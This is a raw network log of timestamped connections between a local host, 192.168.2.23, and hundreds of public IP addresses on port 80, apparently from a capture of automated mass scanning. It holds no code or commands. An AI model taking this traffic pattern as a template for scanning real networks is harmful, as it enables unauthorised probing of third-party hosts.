Dec 3, 2024 22:11:44.067460060 CET	80	6883	144.151.7.128	192.168.2.23
Dec 3, 2024 22:11:44.067471027 CET	80	6883	207.92.67.93	192.168.2.23
Dec 3, 2024 22:11:44.067482948 CET	80	6883	48.144.26.174	192.168.2.23
Dec 3, 2024 22:11:44.067498922 CET	6883	80	192.168.2.23	144.151.7.128
Dec 3, 2024 22:11:44.067524910 CET	6883	80	192.168.2.23	48.144.26.174
Dec 3, 2024 22:11:44.067531109 CET	6883	80	192.168.2.23	207.92.67.93
Dec 3, 2024 22:11:44.067573071 CET	80	6883	108.173.44.205	192.168.2.23
Dec 3, 2024 22:11:44.067610025 CET	6883	80	192.168.2.23	108.173.44.205
Dec 3, 2024 22:11:44.067614079 CET	80	6883	208.97.129.158	192.168.2.23
Dec 3, 2024 22:11:44.067631960 CET	80	6883	158.226.209.76	192.168.2.23
Dec 3, 2024 22:11:44.067651987 CET	6883	80	192.168.2.23	208.97.129.158
Dec 3, 2024 22:11:44.067670107 CET	6883	80	192.168.2.23	158.226.209.76
Dec 3, 2024 22:11:44.067694902 CET	80	6883	96.109.219.215	192.168.2.23
Dec 3, 2024 22:11:44.067738056 CET	6883	80	192.168.2.23	96.109.219.215
Dec 3, 2024 22:11:44.068588018 CET	80	6883	109.77.87.52	192.168.2.23
Dec 3, 2024 22:11:44.068631887 CET	6883	80	192.168.2.23	109.77.87.52
Dec 3, 2024 22:11:44.068639040 CET	80	6883	54.138.137.152	192.168.2.23
Dec 3, 2024 22:11:44.068650007 CET	80	6883	184.144.169.193	192.168.2.23
Dec 3, 2024 22:11:44.068672895 CET	80	6883	220.78.119.114	192.168.2.23
Dec 3, 2024 22:11:44.068672895 CET	6883	80	192.168.2.23	54.138.137.152
Dec 3, 2024 22:11:44.068684101 CET	80	6883	198.173.230.114	192.168.2.23
Dec 3, 2024 22:11:44.068685055 CET	6883	80	192.168.2.23	184.144.169.193
Dec 3, 2024 22:11:44.068701029 CET	80	6883	213.73.216.247	192.168.2.23
Dec 3, 2024 22:11:44.068717957 CET	6883	80	192.168.2.23	198.173.230.114
Dec 3, 2024 22:11:44.068734884 CET	6883	80	192.168.2.23	213.73.216.247
Dec 3, 2024 22:11:44.068747997 CET	6883	80	192.168.2.23	220.78.119.114
Dec 3, 2024 22:11:44.068793058 CET	80	6883	43.208.66.233	192.168.2.23
Dec 3, 2024 22:11:44.068803072 CET	80	6883	164.177.248.111	192.168.2.23
Dec 3, 2024 22:11:44.068814993 CET	80	6883	103.50.12.80	192.168.2.23
Dec 3, 2024 22:11:44.068825006 CET	80	6883	152.196.31.82	192.168.2.23
Dec 3, 2024 22:11:44.068830967 CET	6883	80	192.168.2.23	43.208.66.233
Dec 3, 2024 22:11:44.068835020 CET	6883	80	192.168.2.23	164.177.248.111
Dec 3, 2024 22:11:44.068845034 CET	6883	80	192.168.2.23	103.50.12.80
Dec 3, 2024 22:11:44.068861961 CET	6883	80	192.168.2.23	152.196.31.82
Dec 3, 2024 22:11:44.068943024 CET	80	6883	48.119.245.95	192.168.2.23
Dec 3, 2024 22:11:44.068953037 CET	80	6883	157.128.100.135	192.168.2.23
Dec 3, 2024 22:11:44.068963051 CET	80	6883	128.196.44.146	192.168.2.23
Dec 3, 2024 22:11:44.068972111 CET	80	6883	53.150.8.163	192.168.2.23
Dec 3, 2024 22:11:44.068980932 CET	80	6883	148.7.238.206	192.168.2.23
Dec 3, 2024 22:11:44.068984032 CET	6883	80	192.168.2.23	157.128.100.135
Dec 3, 2024 22:11:44.068989992 CET	80	6883	156.224.209.117	192.168.2.23
Dec 3, 2024 22:11:44.068999052 CET	80	6883	32.160.43.243	192.168.2.23
Dec 3, 2024 22:11:44.069000959 CET	6883	80	192.168.2.23	128.196.44.146
Dec 3, 2024 22:11:44.069001913 CET	6883	80	192.168.2.23	48.119.245.95
Dec 3, 2024 22:11:44.069008112 CET	80	6883	149.194.175.142	192.168.2.23
Dec 3, 2024 22:11:44.069009066 CET	6883	80	192.168.2.23	148.7.238.206
Dec 3, 2024 22:11:44.069010019 CET	6883	80	192.168.2.23	53.150.8.163
Dec 3, 2024 22:11:44.069016933 CET	80	6883	18.48.10.89	192.168.2.23
Dec 3, 2024 22:11:44.069016933 CET	6883	80	192.168.2.23	156.224.209.117
Dec 3, 2024 22:11:44.069022894 CET	6883	80	192.168.2.23	32.160.43.243
Dec 3, 2024 22:11:44.069026947 CET	80	6883	48.228.76.131	192.168.2.23
Dec 3, 2024 22:11:44.069036007 CET	80	6883	83.225.143.45	192.168.2.23
Dec 3, 2024 22:11:44.069046021 CET	6883	80	192.168.2.23	149.194.175.142
Dec 3, 2024 22:11:44.069046021 CET	6883	80	192.168.2.23	18.48.10.89
Dec 3, 2024 22:11:44.069058895 CET	6883	80	192.168.2.23	48.228.76.131
Dec 3, 2024 22:11:44.069061041 CET	6883	80	192.168.2.23	83.225.143.45
Dec 3, 2024 22:11:44.069097996 CET	80	6883	130.250.196.236	192.168.2.23
Dec 3, 2024 22:11:44.069108963 CET	80	6883	45.212.21.119	192.168.2.23
Dec 3, 2024 22:11:44.069118023 CET	80	6883	51.246.101.38	192.168.2.23
Dec 3, 2024 22:11:44.069127083 CET	80	6883	212.171.228.217	192.168.2.23
Dec 3, 2024 22:11:44.069135904 CET	80	6883	149.113.107.50	192.168.2.23
Dec 3, 2024 22:11:44.069138050 CET	6883	80	192.168.2.23	130.250.196.236
Dec 3, 2024 22:11:44.069144964 CET	6883	80	192.168.2.23	45.212.21.119
Dec 3, 2024 22:11:44.069145918 CET	80	6883	101.39.12.131	192.168.2.23
Dec 3, 2024 22:11:44.069145918 CET	6883	80	192.168.2.23	51.246.101.38
Dec 3, 2024 22:11:44.069155931 CET	80	6883	169.106.119.76	192.168.2.23
Dec 3, 2024 22:11:44.069171906 CET	6883	80	192.168.2.23	212.171.228.217
Dec 3, 2024 22:11:44.069171906 CET	6883	80	192.168.2.23	149.113.107.50
Dec 3, 2024 22:11:44.069173098 CET	80	6883	58.9.48.65	192.168.2.23
Dec 3, 2024 22:11:44.069181919 CET	6883	80	192.168.2.23	101.39.12.131
Dec 3, 2024 22:11:44.069184065 CET	80	6883	148.157.30.230	192.168.2.23
Dec 3, 2024 22:11:44.069190979 CET	6883	80	192.168.2.23	169.106.119.76
Dec 3, 2024 22:11:44.069194078 CET	80	6883	92.64.44.176	192.168.2.23
Dec 3, 2024 22:11:44.069205999 CET	80	6883	117.154.20.239	192.168.2.23
Dec 3, 2024 22:11:44.069214106 CET	6883	80	192.168.2.23	58.9.48.65
Dec 3, 2024 22:11:44.069214106 CET	6883	80	192.168.2.23	148.157.30.230
Dec 3, 2024 22:11:44.069225073 CET	6883	80	192.168.2.23	92.64.44.176
Dec 3, 2024 22:11:44.069302082 CET	6883	80	192.168.2.23	117.154.20.239
Dec 3, 2024 22:11:44.164370060 CET	80	6883	220.67.88.164	192.168.2.23
Dec 3, 2024 22:11:44.164374113 CET	80	6883	61.137.87.234	192.168.2.23
Dec 3, 2024 22:11:44.164452076 CET	80	6883	205.128.184.186	192.168.2.23
Dec 3, 2024 22:11:44.164455891 CET	80	6883	97.59.56.219	192.168.2.23
Dec 3, 2024 22:11:44.164467096 CET	80	6883	211.234.233.217	192.168.2.23
Dec 3, 2024 22:11:44.164470911 CET	80	6883	5.196.228.176	192.168.2.23
Dec 3, 2024 22:11:44.164474964 CET	80	6883	25.197.159.104	192.168.2.23
Dec 3, 2024 22:11:44.164479017 CET	80	6883	152.54.50.165	192.168.2.23
Dec 3, 2024 22:11:44.164486885 CET	80	6883	149.54.141.207	192.168.2.23
Dec 3, 2024 22:11:44.164490938 CET	80	6883	168.206.94.113	192.168.2.23
Dec 3, 2024 22:11:44.164491892 CET	6883	80	192.168.2.23	220.67.88.164
Dec 3, 2024 22:11:44.164495945 CET	6883	80	192.168.2.23	61.137.87.234
Dec 3, 2024 22:11:44.164499044 CET	80	6883	35.1.78.42	192.168.2.23
Dec 3, 2024 22:11:44.164505005 CET	80	6883	120.234.5.45	192.168.2.23
Dec 3, 2024 22:11:44.164508104 CET	6883	80	192.168.2.23	97.59.56.219
Dec 3, 2024 22:11:44.164510012 CET	80	6883	78.117.159.177	192.168.2.23
Dec 3, 2024 22:11:44.164515018 CET	80	6883	204.96.239.234	192.168.2.23
Dec 3, 2024 22:11:44.164515972 CET	6883	80	192.168.2.23	5.196.228.176
Dec 3, 2024 22:11:44.164520025 CET	80	6883	174.74.75.75	192.168.2.23
Dec 3, 2024 22:11:44.164521933 CET	6883	80	192.168.2.23	211.234.233.217
Dec 3, 2024 22:11:44.164529085 CET	80	6883	208.122.167.251	192.168.2.23
Dec 3, 2024 22:11:44.164529085 CET	6883	80	192.168.2.23	205.128.184.186
Dec 3, 2024 22:11:44.164535046 CET	80	6883	177.216.226.30	192.168.2.23
Dec 3, 2024 22:11:44.164539099 CET	80	6883	173.202.232.72	192.168.2.23
Dec 3, 2024 22:11:44.164540052 CET	6883	80	192.168.2.23	152.54.50.165
Dec 3, 2024 22:11:44.164540052 CET	6883	80	192.168.2.23	25.197.159.104
Dec 3, 2024 22:11:44.164540052 CET	6883	80	192.168.2.23	168.206.94.113
Dec 3, 2024 22:11:44.164547920 CET	6883	80	192.168.2.23	149.54.141.207
Dec 3, 2024 22:11:44.164550066 CET	6883	80	192.168.2.23	204.96.239.234
Dec 3, 2024 22:11:44.164555073 CET	6883	80	192.168.2.23	35.1.78.42
Dec 3, 2024 22:11:44.164556980 CET	6883	80	192.168.2.23	120.234.5.45
Dec 3, 2024 22:11:44.164560080 CET	6883	80	192.168.2.23	177.216.226.30
Dec 3, 2024 22:11:44.164562941 CET	6883	80	192.168.2.23	78.117.159.177
Dec 3, 2024 22:11:44.164566040 CET	6883	80	192.168.2.23	174.74.75.75
Dec 3, 2024 22:11:44.164567947 CET	6883	80	192.168.2.23	208.122.167.251
Dec 3, 2024 22:11:44.164578915 CET	6883	80	192.168.2.23	173.202.232.72
Dec 3, 2024 22:11:44.164583921 CET	80	6883	163.201.248.118	192.168.2.23
Dec 3, 2024 22:11:44.164588928 CET	80	6883	89.103.130.58	192.168.2.23
Dec 3, 2024 22:11:44.164599895 CET	80	6883	171.112.39.172	192.168.2.23
Dec 3, 2024 22:11:44.164603949 CET	80	6883	134.8.246.223	192.168.2.23
Dec 3, 2024 22:11:44.164655924 CET	80	6883	53.228.87.68	192.168.2.23
Dec 3, 2024 22:11:44.164766073 CET	80	6883	2.252.46.229	192.168.2.23
Dec 3, 2024 22:11:44.164769888 CET	80	6883	5.190.167.222	192.168.2.23
Dec 3, 2024 22:11:44.164778948 CET	80	6883	172.58.56.188	192.168.2.23
Dec 3, 2024 22:11:44.164783955 CET	80	6883	69.37.38.93	192.168.2.23
Dec 3, 2024 22:11:44.164789915 CET	80	6883	108.142.207.207	192.168.2.23
Dec 3, 2024 22:11:44.164802074 CET	6883	80	192.168.2.23	89.103.130.58
Dec 3, 2024 22:11:44.164804935 CET	6883	80	192.168.2.23	53.228.87.68
Dec 3, 2024 22:11:44.164809942 CET	6883	80	192.168.2.23	172.58.56.188
Dec 3, 2024 22:11:44.164813995 CET	6883	80	192.168.2.23	163.201.248.118
Dec 3, 2024 22:11:44.164827108 CET	6883	80	192.168.2.23	108.142.207.207
Dec 3, 2024 22:11:44.164828062 CET	6883	80	192.168.2.23	2.252.46.229
Dec 3, 2024 22:11:44.164829016 CET	6883	80	192.168.2.23	171.112.39.172
Dec 3, 2024 22:11:44.164829969 CET	6883	80	192.168.2.23	134.8.246.223
Dec 3, 2024 22:11:44.164834023 CET	6883	80	192.168.2.23	5.190.167.222
Dec 3, 2024 22:11:44.164835930 CET	6883	80	192.168.2.23	69.37.38.93
Dec 3, 2024 22:11:44.165566921 CET	80	6883	79.148.233.249	192.168.2.23
Dec 3, 2024 22:11:44.165581942 CET	80	6883	152.162.229.130	192.168.2.23
Dec 3, 2024 22:11:44.165585995 CET	80	6883	168.195.178.191	192.168.2.23
Dec 3, 2024 22:11:44.165590048 CET	80	6883	40.121.121.117	192.168.2.23
Dec 3, 2024 22:11:44.165617943 CET	6883	80	192.168.2.23	79.148.233.249
Dec 3, 2024 22:11:44.165625095 CET	6883	80	192.168.2.23	168.195.178.191
Dec 3, 2024 22:11:44.165628910 CET	6883	80	192.168.2.23	40.121.121.117
Dec 3, 2024 22:11:44.165642023 CET	6883	80	192.168.2.23	152.162.229.130
Dec 3, 2024 22:11:44.165695906 CET	80	6883	206.90.39.92	192.168.2.23
Dec 3, 2024 22:11:44.165700912 CET	80	6883	39.47.63.149	192.168.2.23
Dec 3, 2024 22:11:44.165709972 CET	80	6883	163.9.179.43	192.168.2.23
Dec 3, 2024 22:11:44.165714025 CET	80	6883	204.118.243.112	192.168.2.23
Dec 3, 2024 22:11:44.165716887 CET	80	6883	147.194.14.104	192.168.2.23
Dec 3, 2024 22:11:44.165720940 CET	80	6883	85.243.100.32	192.168.2.23
Dec 3, 2024 22:11:44.165724039 CET	80	6883	128.174.76.162	192.168.2.23
Dec 3, 2024 22:11:44.165740967 CET	6883	80	192.168.2.23	206.90.39.92
Dec 3, 2024 22:11:44.165746927 CET	6883	80	192.168.2.23	39.47.63.149
Dec 3, 2024 22:11:44.165749073 CET	6883	80	192.168.2.23	85.243.100.32
Dec 3, 2024 22:11:44.165750980 CET	6883	80	192.168.2.23	147.194.14.104
Dec 3, 2024 22:11:44.165771008 CET	6883	80	192.168.2.23	163.9.179.43
Dec 3, 2024 22:11:44.165775061 CET	6883	80	192.168.2.23	204.118.243.112
Dec 3, 2024 22:11:44.165792942 CET	6883	80	192.168.2.23	128.174.76.162
Dec 3, 2024 22:11:44.165796995 CET	80	6883	146.210.60.220	192.168.2.23
Dec 3, 2024 22:11:44.165802002 CET	80	6883	191.104.210.126	192.168.2.23
Dec 3, 2024 22:11:44.165805101 CET	80	6883	164.221.180.250	192.168.2.23
Dec 3, 2024 22:11:44.165808916 CET	80	6883	133.61.32.114	192.168.2.23
Dec 3, 2024 22:11:44.165838957 CET	6883	80	192.168.2.23	191.104.210.126
Dec 3, 2024 22:11:44.165846109 CET	80	6883	202.46.32.87	192.168.2.23
Dec 3, 2024 22:11:44.165846109 CET	6883	80	192.168.2.23	146.210.60.220
Dec 3, 2024 22:11:44.165864944 CET	6883	80	192.168.2.23	164.221.180.250
Dec 3, 2024 22:11:44.165869951 CET	6883	80	192.168.2.23	133.61.32.114
Dec 3, 2024 22:11:44.165873051 CET	80	6883	72.67.87.81	192.168.2.23
Dec 3, 2024 22:11:44.165888071 CET	6883	80	192.168.2.23	202.46.32.87
Dec 3, 2024 22:11:44.165911913 CET	80	6883	134.155.234.13	192.168.2.23
Dec 3, 2024 22:11:44.165916920 CET	80	6883	196.3.47.32	192.168.2.23
Dec 3, 2024 22:11:44.165926933 CET	6883	80	192.168.2.23	72.67.87.81
Dec 3, 2024 22:11:44.165934086 CET	80	6883	212.142.58.119	192.168.2.23
Dec 3, 2024 22:11:44.165937901 CET	80	6883	107.22.234.235	192.168.2.23
Dec 3, 2024 22:11:44.165954113 CET	6883	80	192.168.2.23	134.155.234.13
Dec 3, 2024 22:11:44.165954113 CET	6883	80	192.168.2.23	196.3.47.32
Dec 3, 2024 22:11:44.165971994 CET	6883	80	192.168.2.23	212.142.58.119
Dec 3, 2024 22:11:44.165983915 CET	6883	80	192.168.2.23	107.22.234.235
Dec 3, 2024 22:11:44.166001081 CET	80	6883	77.119.151.250	192.168.2.23
Dec 3, 2024 22:11:44.166040897 CET	80	6883	188.30.70.203	192.168.2.23
Dec 3, 2024 22:11:44.166044950 CET	6883	80	192.168.2.23	77.119.151.250
Dec 3, 2024 22:11:44.166102886 CET	6883	80	192.168.2.23	188.30.70.203
Dec 3, 2024 22:11:44.166126966 CET	80	6883	119.190.206.10	192.168.2.23
Dec 3, 2024 22:11:44.166131973 CET	80	6883	71.173.6.35	192.168.2.23
Dec 3, 2024 22:11:44.166160107 CET	80	6883	114.216.120.107	192.168.2.23
Dec 3, 2024 22:11:44.166176081 CET	6883	80	192.168.2.23	119.190.206.10
Dec 3, 2024 22:11:44.166176081 CET	6883	80	192.168.2.23	71.173.6.35
Dec 3, 2024 22:11:44.166204929 CET	6883	80	192.168.2.23	114.216.120.107
Dec 3, 2024 22:11:44.166225910 CET	80	6883	171.87.173.61	192.168.2.23
Dec 3, 2024 22:11:44.166261911 CET	80	6883	82.238.213.227	192.168.2.23
Dec 3, 2024 22:11:44.166279078 CET	6883	80	192.168.2.23	171.87.173.61
Dec 3, 2024 22:11:44.166292906 CET	6883	80	192.168.2.23	82.238.213.227
Dec 3, 2024 22:11:44.166809082 CET	80	6883	81.236.246.97	192.168.2.23
Dec 3, 2024 22:11:44.166846037 CET	6883	80	192.168.2.23	81.236.246.97
Dec 3, 2024 22:11:44.166851997 CET	80	6883	137.79.78.114	192.168.2.23
Dec 3, 2024 22:11:44.166870117 CET	80	6883	166.237.57.242	192.168.2.23
Dec 3, 2024 22:11:44.166874886 CET	80	6883	75.230.50.121	192.168.2.23
Dec 3, 2024 22:11:44.166893959 CET	6883	80	192.168.2.23	137.79.78.114
Dec 3, 2024 22:11:44.166919947 CET	6883	80	192.168.2.23	75.230.50.121
Dec 3, 2024 22:11:44.166980028 CET	6883	80	192.168.2.23	166.237.57.242
Dec 3, 2024 22:11:44.167076111 CET	80	6883	122.39.253.75	192.168.2.23
Dec 3, 2024 22:11:44.167081118 CET	80	6883	150.202.123.106	192.168.2.23
Dec 3, 2024 22:11:44.167088985 CET	80	6883	109.251.219.138	192.168.2.23
Dec 3, 2024 22:11:44.167093039 CET	80	6883	122.172.159.27	192.168.2.23
Dec 3, 2024 22:11:44.167097092 CET	80	6883	123.151.130.34	192.168.2.23
Dec 3, 2024 22:11:44.167100906 CET	80	6883	84.20.124.76	192.168.2.23
Dec 3, 2024 22:11:44.167104006 CET	80	6883	43.33.169.233	192.168.2.23
Dec 3, 2024 22:11:44.167108059 CET	80	6883	206.145.165.16	192.168.2.23
Dec 3, 2024 22:11:44.167118073 CET	80	6883	189.112.38.104	192.168.2.23
Dec 3, 2024 22:11:44.167119026 CET	6883	80	192.168.2.23	122.39.253.75
Dec 3, 2024 22:11:44.167121887 CET	80	6883	147.151.146.234	192.168.2.23
Dec 3, 2024 22:11:44.167124987 CET	6883	80	192.168.2.23	150.202.123.106
Dec 3, 2024 22:11:44.167124987 CET	6883	80	192.168.2.23	122.172.159.27
Dec 3, 2024 22:11:44.167124987 CET	6883	80	192.168.2.23	109.251.219.138
Dec 3, 2024 22:11:44.167133093 CET	80	6883	32.65.9.37	192.168.2.23
Dec 3, 2024 22:11:44.167136908 CET	80	6883	182.22.208.247	192.168.2.23
Dec 3, 2024 22:11:44.167135954 CET	6883	80	192.168.2.23	84.20.124.76
Dec 3, 2024 22:11:44.167135954 CET	6883	80	192.168.2.23	123.151.130.34
Dec 3, 2024 22:11:44.167145014 CET	80	6883	178.89.64.138	192.168.2.23
Dec 3, 2024 22:11:44.167145967 CET	6883	80	192.168.2.23	43.33.169.233
Dec 3, 2024 22:11:44.167145967 CET	6883	80	192.168.2.23	189.112.38.104
Dec 3, 2024 22:11:44.167150974 CET	80	6883	60.84.252.43	192.168.2.23
Dec 3, 2024 22:11:44.167152882 CET	6883	80	192.168.2.23	147.151.146.234
Dec 3, 2024 22:11:44.167155027 CET	80	6883	67.84.7.137	192.168.2.23
Dec 3, 2024 22:11:44.167156935 CET	6883	80	192.168.2.23	206.145.165.16
Dec 3, 2024 22:11:44.167169094 CET	80	6883	101.120.103.190	192.168.2.23
Dec 3, 2024 22:11:44.167181969 CET	6883	80	192.168.2.23	182.22.208.247
Dec 3, 2024 22:11:44.167184114 CET	6883	80	192.168.2.23	60.84.252.43
Dec 3, 2024 22:11:44.167184114 CET	6883	80	192.168.2.23	32.65.9.37
Dec 3, 2024 22:11:44.167193890 CET	6883	80	192.168.2.23	178.89.64.138
Dec 3, 2024 22:11:44.167198896 CET	6883	80	192.168.2.23	67.84.7.137
Dec 3, 2024 22:11:44.167226076 CET	6883	80	192.168.2.23	101.120.103.190
Dec 3, 2024 22:11:44.167236090 CET	80	6883	147.121.71.208	192.168.2.23
Dec 3, 2024 22:11:44.167239904 CET	80	6883	187.202.114.95	192.168.2.23
Dec 3, 2024 22:11:44.167248964 CET	80	6883	70.38.146.135	192.168.2.23
Dec 3, 2024 22:11:44.167253017 CET	80	6883	170.240.169.230	192.168.2.23
Dec 3, 2024 22:11:44.167256117 CET	80	6883	178.26.199.243	192.168.2.23
Dec 3, 2024 22:11:44.167279959 CET	6883	80	192.168.2.23	187.202.114.95
Dec 3, 2024 22:11:44.167284966 CET	6883	80	192.168.2.23	147.121.71.208
Dec 3, 2024 22:11:44.167289019 CET	80	6883	134.60.245.14	192.168.2.23
Dec 3, 2024 22:11:44.167289019 CET	6883	80	192.168.2.23	70.38.146.135
Dec 3, 2024 22:11:44.167299032 CET	6883	80	192.168.2.23	170.240.169.230
Dec 3, 2024 22:11:44.167300940 CET	6883	80	192.168.2.23	178.26.199.243
Dec 3, 2024 22:11:44.167309999 CET	80	6883	109.234.181.94	192.168.2.23
Dec 3, 2024 22:11:44.167320013 CET	80	6883	100.203.143.219	192.168.2.23
Dec 3, 2024 22:11:44.167331934 CET	6883	80	192.168.2.23	134.60.245.14
Dec 3, 2024 22:11:44.167349100 CET	6883	80	192.168.2.23	109.234.181.94
Dec 3, 2024 22:11:44.167360067 CET	6883	80	192.168.2.23	100.203.143.219
Dec 3, 2024 22:11:44.168061972 CET	80	6883	72.38.59.204	192.168.2.23
Dec 3, 2024 22:11:44.168066978 CET	80	6883	173.5.115.129	192.168.2.23
Dec 3, 2024 22:11:44.168102980 CET	6883	80	192.168.2.23	173.5.115.129
Dec 3, 2024 22:11:44.168107033 CET	6883	80	192.168.2.23	72.38.59.204
Dec 3, 2024 22:11:44.168129921 CET	80	6883	63.48.52.203	192.168.2.23
Dec 3, 2024 22:11:44.168134928 CET	80	6883	34.228.188.173	192.168.2.23
Dec 3, 2024 22:11:44.168143988 CET	80	6883	220.60.221.202	192.168.2.23
Dec 3, 2024 22:11:44.168148041 CET	80	6883	157.112.102.234	192.168.2.23
Dec 3, 2024 22:11:44.168175936 CET	6883	80	192.168.2.23	34.228.188.173
Dec 3, 2024 22:11:44.168175936 CET	6883	80	192.168.2.23	220.60.221.202
Dec 3, 2024 22:11:44.168179035 CET	6883	80	192.168.2.23	63.48.52.203
Dec 3, 2024 22:11:44.168185949 CET	6883	80	192.168.2.23	157.112.102.234
Dec 3, 2024 22:11:44.168189049 CET	80	6883	12.109.187.91	192.168.2.23
Dec 3, 2024 22:11:44.168194056 CET	80	6883	213.178.142.27	192.168.2.23
Dec 3, 2024 22:11:44.168199062 CET	80	6883	132.136.89.5	192.168.2.23
Dec 3, 2024 22:11:44.168227911 CET	6883	80	192.168.2.23	12.109.187.91
Dec 3, 2024 22:11:44.168235064 CET	6883	80	192.168.2.23	213.178.142.27
Dec 3, 2024 22:11:44.168235064 CET	6883	80	192.168.2.23	132.136.89.5
Dec 3, 2024 22:11:44.168358088 CET	80	6883	183.241.165.225	192.168.2.23
Dec 3, 2024 22:11:44.168363094 CET	80	6883	122.237.221.53	192.168.2.23
Dec 3, 2024 22:11:44.168366909 CET	80	6883	201.71.235.156	192.168.2.23
Dec 3, 2024 22:11:44.168370962 CET	80	6883	20.96.62.175	192.168.2.23
Dec 3, 2024 22:11:44.168374062 CET	80	6883	118.116.227.147	192.168.2.23
Dec 3, 2024 22:11:44.168378115 CET	80	6883	211.99.159.33	192.168.2.23
Dec 3, 2024 22:11:44.168386936 CET	80	6883	107.246.144.227	192.168.2.23
Dec 3, 2024 22:11:44.168400049 CET	6883	80	192.168.2.23	183.241.165.225
Dec 3, 2024 22:11:44.168406963 CET	6883	80	192.168.2.23	122.237.221.53
Dec 3, 2024 22:11:44.168416023 CET	6883	80	192.168.2.23	20.96.62.175
Dec 3, 2024 22:11:44.168428898 CET	6883	80	192.168.2.23	118.116.227.147
Dec 3, 2024 22:11:44.168435097 CET	6883	80	192.168.2.23	107.246.144.227
Dec 3, 2024 22:11:44.168440104 CET	6883	80	192.168.2.23	211.99.159.33
Dec 3, 2024 22:11:44.168446064 CET	6883	80	192.168.2.23	201.71.235.156
Dec 3, 2024 22:11:44.168464899 CET	80	6883	59.52.17.118	192.168.2.23
Dec 3, 2024 22:11:44.168474913 CET	80	6883	126.12.65.115	192.168.2.23
Dec 3, 2024 22:11:44.168483973 CET	80	6883	92.179.83.148	192.168.2.23
Dec 3, 2024 22:11:44.168487072 CET	80	6883	81.190.101.158	192.168.2.23
Dec 3, 2024 22:11:44.168492079 CET	80	6883	5.195.124.217	192.168.2.23
Dec 3, 2024 22:11:44.168494940 CET	80	6883	14.105.14.125	192.168.2.23
Dec 3, 2024 22:11:44.168503046 CET	80	6883	179.105.119.253	192.168.2.23
Dec 3, 2024 22:11:44.168507099 CET	80	6883	65.143.66.233	192.168.2.23
Dec 3, 2024 22:11:44.168509960 CET	80	6883	104.47.65.120	192.168.2.23
Dec 3, 2024 22:11:44.168514013 CET	80	6883	50.161.84.73	192.168.2.23
Dec 3, 2024 22:11:44.168515921 CET	6883	80	192.168.2.23	81.190.101.158
Dec 3, 2024 22:11:44.168517113 CET	6883	80	192.168.2.23	59.52.17.118
Dec 3, 2024 22:11:44.168518066 CET	80	6883	125.33.185.224	192.168.2.23
Dec 3, 2024 22:11:44.168521881 CET	6883	80	192.168.2.23	92.179.83.148
Dec 3, 2024 22:11:44.168523073 CET	80	6883	111.112.39.214	192.168.2.23
Dec 3, 2024 22:11:44.168524981 CET	6883	80	192.168.2.23	126.12.65.115
Dec 3, 2024 22:11:44.168526888 CET	6883	80	192.168.2.23	14.105.14.125
Dec 3, 2024 22:11:44.168538094 CET	6883	80	192.168.2.23	5.195.124.217
Dec 3, 2024 22:11:44.168538094 CET	6883	80	192.168.2.23	65.143.66.233
Dec 3, 2024 22:11:44.168543100 CET	6883	80	192.168.2.23	179.105.119.253
Dec 3, 2024 22:11:44.168545961 CET	6883	80	192.168.2.23	104.47.65.120
Dec 3, 2024 22:11:44.168545961 CET	6883	80	192.168.2.23	125.33.185.224
Dec 3, 2024 22:11:44.168548107 CET	6883	80	192.168.2.23	50.161.84.73
Dec 3, 2024 22:11:44.168550968 CET	6883	80	192.168.2.23	111.112.39.214
Dec 3, 2024 22:11:44.169172049 CET	80	6883	97.11.100.242	192.168.2.23
Dec 3, 2024 22:11:44.169204950 CET	80	6883	89.166.95.214	192.168.2.23
Dec 3, 2024 22:11:44.169209003 CET	80	6883	178.178.234.82	192.168.2.23
Dec 3, 2024 22:11:44.169225931 CET	6883	80	192.168.2.23	97.11.100.242
Dec 3, 2024 22:11:44.169249058 CET	6883	80	192.168.2.23	89.166.95.214
Dec 3, 2024 22:11:44.169249058 CET	6883	80	192.168.2.23	178.178.234.82
Dec 3, 2024 22:11:44.169256926 CET	80	6883	23.146.84.94	192.168.2.23
Dec 3, 2024 22:11:44.169261932 CET	80	6883	100.204.66.53	192.168.2.23
Dec 3, 2024 22:11:44.169272900 CET	80	6883	141.95.231.155	192.168.2.23
Dec 3, 2024 22:11:44.169291973 CET	80	6883	18.240.6.229	192.168.2.23
Dec 3, 2024 22:11:44.169296026 CET	80	6883	158.135.193.174	192.168.2.23
Dec 3, 2024 22:11:44.169305086 CET	6883	80	192.168.2.23	23.146.84.94
Dec 3, 2024 22:11:44.169308901 CET	6883	80	192.168.2.23	100.204.66.53
Dec 3, 2024 22:11:44.169317961 CET	6883	80	192.168.2.23	141.95.231.155
Dec 3, 2024 22:11:44.169327974 CET	6883	80	192.168.2.23	158.135.193.174
Dec 3, 2024 22:11:44.169339895 CET	80	6883	137.124.154.219	192.168.2.23
Dec 3, 2024 22:11:44.169339895 CET	6883	80	192.168.2.23	18.240.6.229
Dec 3, 2024 22:11:44.169361115 CET	80	6883	54.134.140.214	192.168.2.23
Dec 3, 2024 22:11:44.169384003 CET	6883	80	192.168.2.23	137.124.154.219
Dec 3, 2024 22:11:44.169408083 CET	6883	80	192.168.2.23	54.134.140.214
Dec 3, 2024 22:11:44.169425011 CET	80	6883	171.0.116.74	192.168.2.23
Dec 3, 2024 22:11:44.169430017 CET	80	6883	133.169.132.43	192.168.2.23
Dec 3, 2024 22:11:44.169471025 CET	6883	80	192.168.2.23	171.0.116.74
Dec 3, 2024 22:11:44.169471025 CET	6883	80	192.168.2.23	133.169.132.43
Dec 3, 2024 22:11:44.169503927 CET	80	6883	37.35.80.132	192.168.2.23
Dec 3, 2024 22:11:44.169553041 CET	6883	80	192.168.2.23	37.35.80.132
Dec 3, 2024 22:11:44.169620037 CET	80	6883	216.159.221.120	192.168.2.23
Dec 3, 2024 22:11:44.169665098 CET	80	6883	27.175.194.141	192.168.2.23
Dec 3, 2024 22:11:44.169675112 CET	6883	80	192.168.2.23	216.159.221.120
Dec 3, 2024 22:11:44.169678926 CET	80	6883	164.99.80.109	192.168.2.23
Dec 3, 2024 22:11:44.169682980 CET	80	6883	185.29.168.78	192.168.2.23
Dec 3, 2024 22:11:44.169702053 CET	6883	80	192.168.2.23	27.175.194.141
Dec 3, 2024 22:11:44.169717073 CET	6883	80	192.168.2.23	164.99.80.109
Dec 3, 2024 22:11:44.169732094 CET	80	6883	199.171.215.168	192.168.2.23
Dec 3, 2024 22:11:44.169735909 CET	80	6883	202.58.88.161	192.168.2.23
Dec 3, 2024 22:11:44.169739962 CET	6883	80	192.168.2.23	185.29.168.78
Dec 3, 2024 22:11:44.169744968 CET	80	6883	137.67.252.177	192.168.2.23
Dec 3, 2024 22:11:44.169749022 CET	80	6883	86.186.134.17	192.168.2.23
